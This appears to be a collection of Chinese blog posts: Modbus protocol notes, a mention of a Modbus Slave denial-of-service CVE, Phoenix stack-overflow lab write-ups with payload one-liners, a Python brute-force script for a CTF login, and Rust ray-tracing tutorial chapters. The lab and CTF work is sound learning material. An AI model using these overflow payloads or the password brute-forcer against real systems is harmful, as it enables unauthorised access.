0%

Modbus

Modbus 位于 OSI 模型第七层应用层
Modbus 协议允许在所有类型的网络结构中轻松进行通信。
每种类型的设备(PLC、HMI、控制面板、驱动器、运动控制、I/O设备…)都可以使用 Modbus 协议来远程操作。
同样的通信也可以在串行线和以太网TCP/IP网络上完成。网关允许在几种类型的总线或网络之间使用 Modbus 协议进行通信。
Modbus 协议定义了一个独立于底层通信层的简单协议数据单元(PDU)。Modbus 协议在特定总线或网络上的映射可以在应用数据单元(ADU)上引入一些额外的字段。网络的映射可以在应用数据单元上引入一些附加字段。PDU 由 Function code 和 Data 两部分组成。
目前 Modbus 协议常用规范有两种:Modbus 串行线协议与 Modbus TCP/IP
Modbus 为 C/S 架构,根据职能不同分为 Modbus Master 和 Modbus Slave

Modbus Mater:收集信息
Modbus Slave:发送信息
标准 Modbus 网络下,有 1 个 Modbus Master 和至多 247 个 Modbus Slave。每个 Modbus Slave 都有其独特的 Slave Adress,数值从 1 到 247。

Modbus Function Codes

Modbus 根据功能码(Function Codes)提供不同功能,功能码存在于 Modbus 协议数据单元之中
功能码长度为 1 个字节。合法的数值输入为十进制 1-255,其中值 128-255 为保留功能码。子功能码被添加到一些功能码中,用于定义多个行为。

对于正常响应,服务器返回的功能码与请求的功能码一致
对于异常响应,服务器将最高有效位置为1,保持请求功能码其他位不变。

  1. 公有功能码
    公有功能码是保证是唯一的,由 MODBUS.org 社区认证过
    列举一些常见功能码
Function Code Difinition
01(0x01) Discrete Output Coils
02(0x02) Discrete Input Contacts
03(0x03) Analog Output Holding Registers
04(0x04) Analog Input Registers
05(0x05) Discrete Output Coil
06(0x06) Analog Output Holding Register
15(0x0F) Discrete Output Coils
16(0x10) Analog Output Holding Registers
  1. 用户定义功能码
    功能码十进制范围65至72,100至110为用户定义功能码,用户可以选择并实现一个规范所不支持的功能码。

  2. 保留功能码
    一些公司目前用于遗留产品的功能代码,这些代码不供公众使用。

使用 Modbus Slave 与 Modbus Poll 对 Modbus TCP/IP 协议进行模拟,使用wireshark 抓取数据包。
询问数据包
响应数据包

如图所示,Modbus TCP/IP 的 PDU 的第一个字节为功能码,响应报文的数据部分包含了数据长度与各寄存器的值。

响应数据包

使用 Virtual Serial Port Driver 模拟虚拟串口,将COM1与COM2进行配对,如下图所示
配对
使得 Modbus Salve 与 Modbus Poll 通过串口进行 RTU 传输。通过 Serial Port Monitor 监控经过串口的数据包,如下图所示。
串口
拿图中最后 8 行举例
请求:
01 03 00 00 00 0a c5 cd

01 : Slave Address(1)
03 : 功能码(3,read Analog Output Holding Registers)
00 00 : 请求的第一个寄存器地址(0)
00 0a : 请求的寄存器数量(10)
c5 cd : CRC校验

响应:
01 03 14 00 00 00 00 00 00 00 0f 00 00 00 10 00 00 00 00 00 50 00 00 7a b9

01 : Slave Address(1)
03 : 功能码(3)
14 : 之后跟随的数据字节长度(20=2×10)

寄存器
0 0x0000
1 0x0000
2 0x0000
3 0x000f
4 0x0000
5 0x0010
6 0x0000
7 0x0000
8 0x0050
9 0x0000

7a b9 : CRC校验

Modbus Slave 7.0.0

CVE-2018-18759
Modbus Slave 7.0.0 - Denial of Service
在输入 Registration Key 时输入字符串过长会导致缓冲区溢出,程序拒绝服务。
Dos
触发 _fastfail()导致程序拒绝服务,目前还在查找注册密钥的验证函数。

概述

上网冲浪时发现了这个视频,里面介绍了这么个网址,其中有五种虚拟机环境,Nebula、Phoenix、Fusion、Main Sequence以及Protostar,咱在写这篇博客的时候才详细看了介绍,照理说应该从 Nebula 开始入门,但是咱从 Phoenix 开始了。(视频中用的是Protostar,目前已经被Phoenix替代)。Phoenix的下载链接是个Qcow2 images,咱也不知道咋跑,在网上搜索教程发现里面有个.sh文件,好像还要运行qemu,又在VM上装了个Kali。给Phoenix文件夹里的.sh文件chmod 777 ,再 sudo apt-get install qemu-system-x86 安装完 qemu 之后,运行.sh文件。输入用户名user以及密码user
qemu界面当然,也可以通过netstat查看端口后
使用ssh user@127.0.0.1 -p 2222连接
总之,Phoenix的安装与启动完成了。题目文件全在/opt/phoenix/<architecture>之中(architecture 由下载的文件确定)

Stack-Zero

Stack-Zero的源码如下:

Stack-Zero
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

printf("%s\n", BANNER);

locals.changeme = 0;
gets(locals.buffer);

if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}

exit(0);
}

咱也不知道是不是应该一上来就看源码,顶上视频中是不看源码直接gdb,咱做不到,所以咱还是看源码吧。
volatile 关键字作用是防止变量 changeme 被优化。这题是很明显的缓冲区溢出(这是废话,接下来三题也是),buffer的最大长度是64字符,所以只要输入超过64字符缓冲区就会溢出,达到修改 changeme 的效果。所以输入 65 个字符可以解决,或者有种简便方法:python -c 'print("A"*65)'| ./stack-zero

Stack-One

Stack-One 源码:

Stack-One
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

printf("%s\n", BANNER);

if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}

locals.changeme = 0;
strcpy(locals.buffer, argv[1]);

if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}

exit(0);
}

strcpy()也有缓冲区溢出的风险,这题要将 changeme 更改为特定值0x496c5962,虚拟机环境是小端序,通过查ASCII码表将十六进制转化为字符(下章会提到其实不需要这样),输入
./stack-one $(python -c 'print("A"*64+"bYlI")')
可解。

Stack-Two

Stack-Two
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

char *ptr;

printf("%s\n", BANNER);

ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}

locals.changeme = 0;
strcpy(locals.buffer, ptr);

if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}

exit(0);
}

这题需要更改环境变量,在py里使用’\x0a’ 代表十六进制 0a,所以解法如下:
ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"') ./stack-two

Stack-Three

Stack-Three
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;

printf("%s\n", BANNER);

locals.fp = NULL;
gets(locals.buffer);

if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}

exit(0);
}

可以看出 fp 是个函数指针,修改 fp 值使其指向 complete_level(),使用objdump可以查看 complete_level()的地址,objdump -S stack-three
或者可以使用gbd在complete_level打断点,显示其地址。输入:
python -c 'print ("A"*64+"\x9d\x06\x40")'| ./stack-three
Stack-Three 完成。

Stack-Four

Stack-Three
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

void start_level() {
char buffer[64];
void *ret;

gets(buffer);

ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}

BUU BRUTE 1

题目链接
猜出用户名是admin(错误的用户名会显示用户名错误),提交后显示密码错误,为四位数字。既然如此,写了一个 Python 脚本进行 Brute force

[Brute.py] Brute Force
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import time

answer = 0
for i in range(0,10000):
j = str(i)
j = (4 - len(j)) * '0' + j
r = requests.get("http://url/?username=admin&password="+j)
time.sleep(0.1)
if r.text != "密码错误,为四位数字。":
answer = i
break
print(j,"/",10000)
print(answer)

在 Brute force 之间设置 sleep 的原因是限制请求频率,否则会出现429 Too Many Requests,代码运行得出密码是 6490。

Github Repo


漫反射材质

一种简易的漫反射材质

不发光的漫反射物体仅仅吸收其周遭的颜色,但是其固有颜色进行调和。从漫反射表面反射回来光线的方向是随机的,因此,如果我们将三条射线射向两个物体的间隔缝中,它们会有不同的随机表现。

这些射线也有可能被吸收而不是被反射,物体表面越黑,光线越容易被吸收。实际上,任何将射线的反射方向随机化的算法都会产生看起来粗糙的表面。实现这种算法的最简单的方法之一被发现是对实现理想漫反射表面完全恰当的。

有两个单位球与表面上的交点 P 相切,两个球心分别为 $\boldsymbol{(P+n)}$ 和 $\boldsymbol{(P-n)}$, $\boldsymbol{n}$ 是表面在 P 处的法线,把球心为 $\boldsymbol{(P-n)}$ 的球体看作在表面内部,那么球心为 $\boldsymbol{(P+n)}$ 的球体即在表面外部,选择与射线源点在表面同一侧的单位相切球,随机选取球内任意一点 S,从交点 P 发射一条射线到点 S($\boldsymbol{(S-P)}$).

关于球内随机点的选取方法,使用剔除法,首先,在 x,y,z 都在 -1 到 1 范围内的方块中选取一个随机点,如果不在球内则重新随机选取。

[lib.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
impl Vec3 {

...

pub fn random(min: Option<f32>, max: Option<f32>) -> Vec3 {
Vec3(
random_double(min, max),
random_double(min, max),
random_double(min, max),
)
}

...

}

pub fn random_in_unit_sphere() -> Vec3 {
while true {
let p = Vec3::random(-1, 1);
if p.length_squared() >= 1 {
continue;
}
return p;
}
}

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fn ray_color<T: Hittable>(r: &Ray, world: &T) -> Color {
...

if world.hit(r, 0.0, infinity, &mut rec) {
let target = rec.p + rec.normal + random_in_unit_sphere();
return 0.5
* ray_color(
&Ray{
orig:rec.p,
dir:target - rec.p
},
world,
);
}
...

限制子射线的数量

ray_color 函数是递归的,递归出口是其与任何物体没有交点的时候,但是这可能会画上很长时间,因此需要一个最大递归深度,到达最大深度后不返回光线。

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const MAX_DEPTH: u16 = 50;

fn ray_color<T: Hittable>(r: &Ray, world: &T, depth: u16) -> Color {
let mut rec = Hit_record {
p: Vec3(0.0, 0.0, 0.0),
normal: Vec3(0.0, 0.0, 0.0),
t: 0.0,
front_face: true,
};
if depth <= 0 {
return Vec3(0.0, 0.0, 0.0);
}
if world.hit(r, 0.0, infinity, &mut rec) {
let target = rec.p + rec.normal + random_in_unit_sphere();
return 0.5
* ray_color(
&Ray {
orig: rec.p,
dir: target - rec.p,
},
world,
depth - 1,
);
}

...

}
fn main() {

...

pixel_color += ray_color(&r, &world, MAX_DEPTH);

...

得出图形如下


## 使用 Gamma 校正获得准确的色彩强度 我们会发现图片太暗了,以至于看不清图片的阴影,需要做一些 Gamma 矫正。在此情况下,使用 Gamma 2,意味着将色彩提高 1/Gamma 次幂,即 1/2 次幂,即平方根。
[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
pub fn write_color(pixel_color: Color, samples_per_pixel: u16) -> String {

...

let scale = 1.0 / samples_per_pixel as f32;
r = (scale * r).sqrt();
g = (scale * g).sqrt();
b = (scale * b).sqrt();

...

}
![经过 Gamma 矫正所得](/img/eleventh.png)
## 修复阴影失真 某些反射光线在不完全在 t = 0 时击中了它们正在反射的对象,而是在t=-0.0000001或t=0.00000001或任何浮点近似值与球面交点相交,所以我们需要忽视十分接近于0的浮点数。
[main.rs]
1
if world.hit(r, 0.001, infinity, &mut rec) {

真实的 Lambertian 反射

这里介绍的剔除法在单位球中产生沿表面法线偏移的随机点。这相当于在半球上选取高概率接近法线的方向,而在掠射角上散射射线的概率较低。这个分布的尺度是$\cos^3(ϕ)$,其中ϕ是与法线的角度。这是十分有用,因为到达浅角的光线会扩散到更大的区域,因此对最终颜色的贡献较低。
然而,我们感兴趣的是 Lambertian 分布,它的分布尺度是$cos(ϕ)$。真正的 Lambertian 反射对于接近于法线的射线散射的概率更高,但分布更均匀。这可以通过在单位球面上选取沿表面法线偏移的点来实现。在球面上选点可以通过在单位球中选点,然后将这些点归一化来实现。

[lib.rs] 实现随机单位向量
1
2
3
4
5
6
pub fn random_unit_vector() -> Vec3 {
let a = random_double(Some(0.0), Some(2.0 * PI));
let z = random_double(Some(-1.0), Some(1.0));
let r = (1.0 - z * z).sqrt();
Vec3(r * a.cos(), r * a.sin(), z)
}

random_unit_vector() 是现有的 random_in_unit_sphere() 函数的替代品。

[main.rs] 实现随机单位向量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fn ray_color<T: Hittable>(r: &Ray, world: &T, depth: u16) -> Color {
let mut rec = Hit_record {
p: Vec3(0.0, 0.0, 0.0),
normal: Vec3(0.0, 0.0, 0.0),
t: 0.0,
front_face: true,
};
if depth <= 0 {
return Vec3(0.0, 0.0, 0.0);
}
if world.hit(r, 0.001, infinity, &mut rec) {
let target = rec.p + rec.normal + random_unit_vector();
return 0.5
* ray_color(
&Ray {
orig: rec.p,
dir: target - rec.p,
},
world,
depth - 1,
);
}

let unit_direction = unit_vector(r.direction());
let t = 0.5 * (unit_direction.y() + 1.0);
(1.0 - t) * Vec3(1.0, 1.0, 1.0) + t * Vec3(0.5, 0.7, 1.0)
}


因为样例实在是太简单所以难以区分两种漫反射方法的区别。但是可以注意到,变化后的阴影不那么明显;变化后,两个球体的外观都变亮了。
这两种变化都是由于光线的散射更均匀,朝向法线散射的光线更少。这意味着对于漫射的物体,它们会显得更亮,因为有更多的光线射向相机方向。对于阴影,直射的光线较少,所以大球体在小球体正下方的部分更亮。

另一种漫反射形式

并不是很多常见的、日常的物体都是完美的漫射,所以我们对这些物体在光照下的表现的视觉直觉会很差。
为了方便学习,在这里加入一种直观易懂的漫射方法。对于上面的两种方法,我们有一个随机矢量,先是随机长度,然后是单位长度,从命中点偏移为法线。为什么矢量要被法线位移可能不是很直观。
一个更直观的方法是对所有远离命中点的角度有一个统一的散射方向,与法线的角度没有关系。许多最早的射线跟踪论文都使用了这种漫射法(在采用Lambertian漫射法之前)。

[lib.rs]
1
2
3
4
5
6
7
8
9
pub fn random_in_hemisphere(normal: Vec3) -> Vec3 {
let in_unit_sphere = random_in_unit_sphere();
if dot(in_unit_sphere, normal) > 0.0 {
//和法线在同一半球
return in_unit_sphere;
} else {
return -in_unit_sphere;
}
}
[main.rs]
1
2
if world.hit(r, 0.001, infinity, &mut rec) {
let target = rec.p + random_in_hemisphere(rec.normal);


在接下来过程中,场景会变得更加复杂,需要在这章介绍的不同漫射渲染器之间进行切换,大多数场景会包含不成比例的漫射材质。

Github Repo


抗锯齿

生成随机数

首先,需要实现一个随机数生成器生成 ${0 \le r < 1}$ 的随机实数,Rust 的 std 里没有可以实现 random 的方法,只能去找其他 crate 实现。在[Cargo.toml]写入

[dependencies]
rand = "0.7"

因为 Rust 既不支持函数重载,也不支持默认实参,所以只能定义实参类型为 Option

[rtweekend.rs]
1
2
3
4
5
6
7
8
9
use rand::{thread_rng, Rng};

...

pub fn random_double(min: Option<f32>, max: Option<f32>) -> f32 {
let mut rng = thread_rng();
let n: f32 = rng.gen_range(min.unwrap_or(0.0), min.unwrap_or(1.0));
n
}

使用多个样本生成像素

对于给定的像素,在该像素内设置几个样本点,发送射线穿过各个样本点。然后平均这些射线的颜色。

创建一个Camera类对虚拟摄像机和与之相关的场景采样进行管理,以下是相机的简单实现

[camera.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
use crate::rayh::*;
use ray::*;

pub struct Camera {
pub origin: Point3,
pub lower_left_corner: Point3,
pub horizontal: Vec3,
pub vertical: Vec3,
}

impl Camera {
pub fn new() -> Camera {
let aspect_ratio = 16.0 / 9.0;
let viewport_height = 2.0;
let viewport_width = aspect_ratio * viewport_height;
let focal_length = 1.0;
Camera {
origin: Vec3(0.0, 0.0, 0.0),
horizontal: Vec3(viewport_width, 0.0, 0.0),
vertical: Vec3(0.0, viewport_height, 0.0),
lower_left_corner: Vec3(0.0, 0.0, 0.0)
- Vec3(viewport_width, 0.0, 0.0) / 2.0
- Vec3(0.0, viewport_height, 0.0) / 2.0
- Vec3(0.0, 0.0, focal_length),
}
}

pub fn get_ray(&self, u: f32, v: f32) -> Ray {
Ray {
orig: self.origin,
dir: self.lower_left_corner + u * self.horizontal + v * self.vertical - self.origin,
}
}
}

rtweekend.h中添加clamp(x,min,max)使得输出值在[min,max]范围内

[rtweekend.rs]
1
2
3
4
5
6
7
8
9
10
...

pub fn clamp(x: f32, min: f32, max: f32) -> f32 {
if x < min {
return min;
}
if x > max {
return max;
}
x

重写color.rs内的write_color()以及main.rs中的main()

[color.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
use crate::rtweekend::*;
use ray::Color;

pub fn write_color(pixel_color: Color, samples_per_pixel: u16) -> String {
let mut r = pixel_color.x();
let mut g = pixel_color.y();
let mut b = pixel_color.z();

let scale = 1.0 / samples_per_pixel as f32;
r *= scale;
g *= scale;
b *= scale;
unsafe {
format!(
"{} {} {}\n",
(256.0 * clamp(r, 0.0, 0.999)).to_int_unchecked::<u16>(),
(256.0 * clamp(g, 0.0, 0.999)).to_int_unchecked::<u16>(),
(256.0 * clamp(b, 0.0, 0.999)).to_int_unchecked::<u16>(),
)
}
}

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
mod camera;
use camera::*;

...

fn main() {
let IMAGE_HEIGHT = unsafe { (IMAGE_WIDTH as f32 / ASPECT_RATIO).to_int_unchecked::<u16>() };

let mut world = Hittable_list {
objects: Vec::new(),
};
world.add(Sphere {
center: Vec3(0.0, 0.0, -1.0),
radius: 0.5,
});
world.add(Sphere {
center: Vec3(0.0, -100.5, -1.0),
radius: 100.0,
});

let cam = Camera::new();

println! {"P3\n{} {}\n255",IMAGE_WIDTH,IMAGE_HEIGHT};
for j in (0..IMAGE_HEIGHT).rev() {
eprintln!("\rScanlines remaining:{}", j);
for i in 0..IMAGE_WIDTH {
let mut pixel_color = Vec3(0.0, 0.0, 0.0);
for s in 0..SAMPLES_PER_PIXEL {
let u = (i as f32 + random_double(None, None)) / (IMAGE_WIDTH - 1) as f32;
let v = (j as f32 + random_double(None, None)) / (IMAGE_HEIGHT - 1) as f32;
let r = cam.get_ray(u, v);
pixel_color += ray_color(&r, &world);
}
print!("{}", write_color(pixel_color, SAMPLES_PER_PIXEL));
}
}
eprintln!("\nDone");
}

运行过后的效果图

Github Repo


如果坐标系内有多个球体会怎么样?无论是一个球或是多个球,将射线可能射到的物体化为一个抽象类 Hittable,但是由于 Rust 没有继承的概念,所以将其定义为 trait.Hittable trait 有一个 hit 功能用来吸收射线。同时给 t 设置一个区间,当 $t_{min} < t < t_{max}$才算相交。

[hittable.rs] 定义 Hittable trait
1
2
3
4
5
6
7
8
9
10
11
12
13
14
use crate::rayh::Ray;
use ray::Point3;
use ray::Vec3;

#[derive(Debug, PartialEq, Clone, Copy)]
pub struct Hit_record {
pub p: Point3,
pub normal: Vec3,
pub t: f32,
}

pub trait Hittable {
fn hit(&self, r: &Ray, t_min: f32, t_max: f32, rec: &mut Hit_record) -> bool;
}

然后是定义 sphere 类

[hittable.rs] 定义 Hittable trait
1
2
3
4
5
6
7
8
9
10
11
12
13
14
use crate::rayh::Ray;
use ray::Point3;
use ray::Vec3;

#[derive(Debug, PartialEq, Clone, Copy)]
pub struct Hit_record {
pub p: Point3,
pub normal: Vec3,
pub t: f32,
}

pub trait Hittable {
fn hit(&self, r: &Ray, t_min: f32, t_max: f32, rec: &mut Hit_record) -> bool;
}

对射线同样要进行分情况讨论,定义法线方向永远朝外,若是在球外与球相交的射线,法线方向与射线方向相反,射线若是在球内相交,法线方向与射线方向相同;又或者,可以定义法线永远指向射线的反方向,射线在球内,法线方向向内,射线在球外,法线方向向外。
如图所示:

如果我们定义法线方向永远朝外,则对射线着色时需确定射线在哪一侧,这可以通过比较射线与法线所得,如果射线与法线方向相同,则射线在物体内部,若相反则在物体外部。这可以根据两向量的点乘看出,点乘为正则方向相同。

1
2
3
4
5
6
7
if dot(ray_direction, outward_normal) > 0.0{
// 射线在物体内部
...
} else{
// 射线在物体外部
...
}

相对的,如果我们定义法线方向与射线方向永远相反,则无法通过点乘确定射线位于表面的哪一侧,因此,我们需要储存这个信息。

1
2
3
4
5
6
7
8
9
10
front_face: bool
if dot(ray_direction, outward_normal) > 0.0{
// 射线在物体内部
normal = -outward_normal;
front_face = false;
} else{
// 射线在物体外部
normal = outward_normal;
front_face = true;
}

定义法线方向永远朝外或是法线方向永远与射线方向相反,取决于是要在几何相交时还是在着色时确定表面的侧面。演示中含有的材料类型比集合类型多,所以将重点放在几何相交上。
给 Hit_record 加上 front_face 以储存方向信息,给 Hittable trait 增加 set_face_normal() 方法

% [hittable.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#[derive(Debug, PartialEq, Clone, Copy)]
pub struct Hit_record {
pub p: Point3,
pub normal: Vec3,
pub t: f32,
pub front_face: bool,
}

...

impl Hit_record {
pub fn set_face_normal(&mut self, r: &Ray, outward_normal: Vec3) {
self.front_face = dot(r.direction(), outward_normal) < 0.0;
self.normal = if self.front_face {
outward_normal
} else {
-outward_normal
};
}
}

再将 set_face_normal() 用于 Sphere.hit() 中

% [sphere.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
impl Hittable for Sphere {
fn hit(&self, r: &Ray, t_min: f32, t_max: f32, rec: &mut Hit_record) -> bool {
let oc: Vec3 = r.origin() - self.center;
let a = r.direction().length_squared();
let half_b = dot(oc, r.direction());
let c = oc.length_squared() - self.radius * self.radius;
let discriminant = half_b * half_b - a * c;
if discriminant < 0.0 {
let root = discriminant.sqrt();

let temp = (-half_b - root) / a;
if temp < t_max && temp > t_min {
rec.t = temp;
rec.p = r.at(rec.t);
let outward_normal = (rec.p - self.center) / self.radius;
rec.set_face_normal(&r, outward_normal);
return true;
}

let temp = (-half_b - root) / a;
if temp < t_max && temp > t_min {
rec.t = temp;
rec.p = r.at(rec.t);
let outward_normal = (rec.p - self.center) / self.radius;
rec.set_face_normal(&r, outward_normal);
return true;
}
}
false
}
}

定义一个类来储存一堆有 Hittable trait 的泛型数据类型,同时也要为其定义 Hittable trait

% [hittable_list.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
use crate::hittable::*;
use crate::rayh::*;
use ray::*;

pub struct Hittable_list<T> {
pub objects: Vec<T>,
}

impl<T: Hittable> Hittable_list<T> {
pub fn new(object: T) -> Hittable_list<T> {
Hittable_list {
objects: vec![object],
}
}
pub fn clear(&mut self) {
(*self).objects.truncate(0);
}
pub fn add(&mut self, object: T) {
(*self).objects.push(object);
}
}
impl<T: Hittable> Hittable for Hittable_list<T> {
fn hit(&self, r: &Ray, t_min: f32, t_max: f32, rec: &mut Hit_record) -> bool {
let mut temp_rec = Hit_record {
p: Vec3(0.0, 0.0, 0.0),
normal: Vec3(0.0, 0.0, 0.0),
t: 0.0,
front_face: true,
};
let mut hit_anything = false;
let mut closest_so_far = t_max;
let mut ar_temp_rec = temp_rec;

for object in &self.objects {
if object.hit(r, t_min, closest_so_far, &mut temp_rec) {
hit_anything = true;
closest_so_far = temp_rec.t;
ar_temp_rec = temp_rec;
}
}
*rec = ar_temp_rec;
hit_anything
}
}

定义常用数学常量

% [rtweekend.rs]
1
2
3
4
5
6
pub const infinity: f32 = f32::INFINITY;
pub const PI: f32 = 3.14159274f32;

pub fn degrees_to_radians(degrees: f32) -> f32 {
degrees * PI / 180.0
}

更改 main.rs

% [main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
mod color;
mod hittable;
mod hittable_list;
mod rayh;
mod rtweekend;
mod sphere;
use color::*;
use hittable::*;
use hittable_list::*;
use ray::*;
use rayh::*;
use rtweekend::*;
use sphere::*;

const IMAGE_WIDTH: u16 = 400;
const ASPECT_RATIO: f32 = 16.0 / 9.0;

fn ray_color<T: Hittable>(r: &Ray, world: &T) -> Color {
let mut rec = Hit_record {
p: Vec3(0.0, 0.0, 0.0),
normal: Vec3(0.0, 0.0, 0.0),
t: 0.0,
front_face: true,
};
if world.hit(r, 0.0, infinity, &mut rec) {
return 0.5 * (rec.normal + Vec3(1.0, 1.0, 1.0));
}
let unit_direction = unit_vector(r.direction());
let t = 0.5 * (unit_direction.y() + 1.0);
(1.0 - t) * Vec3(1.0, 1.0, 1.0) + t * Vec3(0.5, 0.7, 1.0)
}
fn main() {
let IMAGE_HEIGHT = unsafe { (IMAGE_WIDTH as f32 / ASPECT_RATIO).to_int_unchecked::<u16>() };

let mut world = Hittable_list {
objects: Vec::new(),
};
world.add(Sphere {
center: Vec3(0.0, 0.0, -1.0),
radius: 0.5,
});
world.add(Sphere {
center: Vec3(0.0, -100.5, -1.0),
radius: 100.0,
});

println! {"P3\n{} {}\n255",IMAGE_WIDTH,IMAGE_HEIGHT};
let viewport_height = 2.0;
let viewport_width: f32 = ASPECT_RATIO * viewport_height;
let focal_length = 1.0;

let origin: Point3 = Vec3(0.0, 0.0, 0.0);
let horizontal = Vec3(viewport_width, 0.0, 0.0);
let vertical = Vec3(0.0, viewport_height, 0.0);
let lower_left_corner =
origin - horizontal / 2 as f32 - vertical / 2 as f32 - Vec3(0.0, 0.0, focal_length);
for j in (0..IMAGE_HEIGHT).rev() {
eprintln!("\rScanlines remaining:{}", j);
for i in 0..IMAGE_WIDTH {
let u = i as f32 / (IMAGE_WIDTH - 1) as f32;
let v = j as f32 / (IMAGE_HEIGHT - 1) as f32;
let r = Ray {
orig: origin,
dir: lower_left_corner + u * horizontal + v * vertical - origin,
};
let pixel_color = ray_color(&r, &world);
print!("{}", write_color(pixel_color));
}
}
eprintln!("\nDone");
}

最后得出的图片如下图所示

Github Repo


接下来是球面着色,第一步,确定球面法线,法线是球面上点垂直于球面的向量。对于球 C 与 球面上点 P,P 点向外法线方向与$\boldsymbol {CP} $方向一致,如下图所示

因为目前没有光线,所以用颜色映射来可视化法线,将各分量映射至(0,1)的区间(即求其单位向量 $\vec{n}$),然后将 x/y/z 映射至 r/g/b,对于法线来说,我们要求的是交点,而不是相交与否。假定与原点最近的交点(即最小的 t),在 main.rs 做出如下更改使得程序可以计算并可视化 $\vec{n}$.

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fn hit_sphere(center: Point3, radius: f32, r: &Ray) -> f32 {
let oc: Vec3 = r.origin() - center;
let a = dot(r.direction(),r.direction());
let b = 2.0 * dot(oc, r.direction());
let c = dot(oc, oc) - radius * radius;
let discriminant = b*b - 4.0 * a * c;
if discriminant < 0.0{
return -1.0;
}else{
return (-b - discriminant.sqrt() ) / (2.0 * a);
}
}
fn ray_color(r: &Ray) -> Color {
let mut t = hit_sphere(Vec3(0.0, 0.0, -1.0), 0.5, r);
if t > 0.0{
let N: Vec3 = unit_vector(r.at(t) - Vec3(0.0, 0.0, -1.0));
return 0.5 * Vec3(N.x() + 1.0, N.y() + 1.0, N.z() + 1.0);
}
let unit_direction = unit_vector(r.direction());
t = 0.5 * (unit_direction.y() + 1.0);
(1.0 - t) * Vec3(1.0, 1.0, 1.0) + t * Vec3(0.5, 0.7, 1.0)
}

运行得出下图:


对现有代码进行数学层面的简化,重新审视射线与球面相交的代码

[main.rs] 先前代码
1
2
3
4
5
6
7
8
9
10
11
12
fn hit_sphere(center: Point3, radius: f32, r: &Ray) -> f32 {
let oc: Vec3 = r.origin() - center;
let a = dot(r.direction(),r.direction());
let b = 2.0 * dot(oc, r.direction());
